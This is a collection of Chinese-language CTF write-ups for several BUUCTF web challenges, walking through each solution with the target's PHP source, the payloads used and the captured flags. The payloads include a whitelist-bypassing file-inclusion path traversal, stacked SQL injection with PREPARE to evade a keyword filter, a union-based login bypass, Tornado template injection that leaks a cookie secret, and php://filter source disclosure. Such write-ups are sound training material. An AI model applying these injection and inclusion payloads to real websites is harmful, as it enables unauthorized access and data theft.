[HCTF 2018]WarmUp

http://b76e95a3-a2ea-4205-a05c-bde04cd66b95.node3.buuoj.cn

查看源码看到提示source.php,访问之,得到源码,审计之

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
//$whitelist变量只包含source.php和hint.php,isset函数检测变量是否声明,is_string函数检测变量是否为字符串,in_array函数检测数组中是否匹配$whitelist
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?''?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
//mb_substr返回$page字符串从头开始,到mb_strpos查找?在$page中首次出现的位置的一段长度的字符,即如果$page有?,则截取?前的字符串
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?''?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
//对$page进行解码,并再截取一遍
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
//empty检查变量file是否为空,并is_string判断是否为字符串,并且要能访问,条件都满足就包含file传入的文件进行访问
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

访问hint.php试试

1
2
3
/?file=hint.php
flag not here, and flag in ffffllllaaaagggg
/?file=hint.php?../../../../../ffffllllaaaagggg

flag{3e11f910-1c51-453c-af9a-029edd269163}

[强网杯 2019]随便注

http://d3003809-2d5c-4066-a9c6-9a706cb6e6d1.node3.buuoj.cn

1
/?inject=1
图片

图片

1
2
3
/?inject=1' //报错,存在sql注入
尝试select提示被过滤
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
图片

图片

1
/?inject=-1';show+databases;  //尝试堆叠注入查看数据库
图片

图片

1
/?inject=-1';show+tables+from+supersqli;  //查表
图片

图片

1
/?inject=-1';show+columns+from+`1919810931114514`;  //查列
图片

图片

因为show最多只能查询到字段名,无法查询具体数据,所以还是需要绕过过滤,这里用的是预编译法

1
/?inject=-1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;#
图片

图片

flag{940f9932-6f3f-4507-a641-e91163cb4e03}

[SUCTF 2019]EasySQL

http://38f97425-069f-4ac7-a2de-960197db8f8b.node3.buuoj.cn

尝试输入1,发现是post传参的注入

1
2
query=1
query=1;show databases;
图片

图片

1
query=1;show tables;
图片

图片

而后发现from被过滤

1
query=*,1  ==>  select *,1 || flag from flag
图片

图片

1
2
3
4
5
6
7
官方解法
1;set sql_mode=PIPES_AS_CONCAT;select 1
构造成
select 1;set sql_mode=PIPES_AS_CONCAT;select 1 || flag FROM Flag
其中PIPES_AS_CONCAT能将||视为字符串连接符而非或运算符
实际运行为
select 1;set sql_mode=PIPES_AS_CONCAT;select "1"+flag from Flag

flag{22da20ee-17da-4f57-8a47-643580b0d03b}

[极客大挑战 2019]EasySQL

http://5f70d406-086d-4640-a0c5-d08988a8f729.node3.buuoj.cn

图片

图片

直接手注

1
username=admin&password=1'and+'1'='2'+union+select+1,2,'3
图片

图片

flag{9da954e2-3523-4bdb-8beb-77c5c4b905ac}

[极客大挑战 2019]Havefun

http://dc831063-5096-4421-8cad-7d59def721a5.node3.buuoj.cn

查看源码

1
2
3
4
5
6
7
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->

根据提示传入参数使得cat=dog

1
/?cat=dog

图片

图片

flag{7d14e194-7772-4d41-8c61-fb1a0388b25e}

[护网杯 2018]easy_tornado

http://6538e59c-7290-4314-876a-71896b2316fa.node3.buuoj.cn

图片

图片

挨个访问得到信息

1
2
3
4
5
6
7
8
9
/file?filename=/flag.txt&filehash=4d81edafee08fa38738a59e9fd150d50
/flag.txt
flag in /fllllllllllllag
/file?filename=/welcome.txt&filehash=27f929d16f4606d46be11db34391a228
/welcome.txt
render
/file?filename=/hints.txt&filehash=bfc06735e011c9552a2fdb9f07e6dccc
/hints.txt
md5(cookie_secret+md5(filename))

根据规律需要构造payload

1
/file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(fllllllllllllag))

先看看render,是个调用 res.render({options}) 去向模板中渲染数据, 可以把视图响应给客户端的渲染函数,尝试抓包访问fllllllllllllag文件

图片

图片

根据/error?msg=Error提示可以用error变量读取文件,查一下tornado里cookie_secret的位置

https://www.tornadoweb.org/en/latest/guide/security.html在handler/settings文件里

构造payload

1
/error?msg={{handler.settings}}
图片

图片

cookie_secret:0a2781d2-6438-4103-8978-926c5e109fc8

接下来根据提示写个脚本加密

1
2
3
4
5
6
7
8
9
10
import hashlib
md5 = hashlib.md5()
filename = '/fllllllllllllag'
cookie_secret = '0a2781d2-6438-4103-8978-926c5e109fc8'
md5.update(filename.encode("utf8"))
file_md5 = md5.hexdigest()
md5 = hashlib.md5()
md5.update(cookie_secret + file_md5)
filehash = md5.hexdigest()
print filehash

得到 022b103d797804318dc8eb68133d1dcc

图片

图片

flag{c14f33f9-d55a-4416-8215-e0468fe7f9c0}

[极客大挑战 2019]Secret File

http://3c1b7c0b-3605-4ce5-b792-0b9ca36ddd7f.node3.buuoj.cn

查看源码,找到可疑页面

图片

图片

继续看源码

图片

图片

然后直接end了,提示回去看看

图片

图片

Archive_room.php –> end.php

抓个包看看,发现跳板是action.php

图片

图片

访问secr3t.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
//strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE,这个函数区分大小写,stristr()函数不区分大小写
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

根据代码需要用到base64读取文件源码的伪协议,构造payload

1
file=php://filter/read=convert.base64-encode/resource=flag.php

解base64得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>

<html>

    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>

    <body style="background-color:black;"><br><br><br><br><br><br>
        
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
        
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{1c5044a3-10a5-4073-8bc3-a56134196d35}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body>

</html>

flag{1c5044a3-10a5-4073-8bc3-a56134196d35}

[ACTF2020 新生赛]Include

http://2fe69fec-e36f-470f-8434-0e32a3761d6b.node3.buuoj.cn

根据网址 /?file=flag.php

想到文件包含,先伪协议读一波源码

1
/?file=php://filter/read=convert.base64-encode/resource=flag.php

解base64后

1
2
3
<?php
echo "Can you find out the flag?";
//flag{ba49b5dd-32ae-45f4-8fce-ea258e0807ca}

flag{ba49b5dd-32ae-45f4-8fce-ea258e0807ca}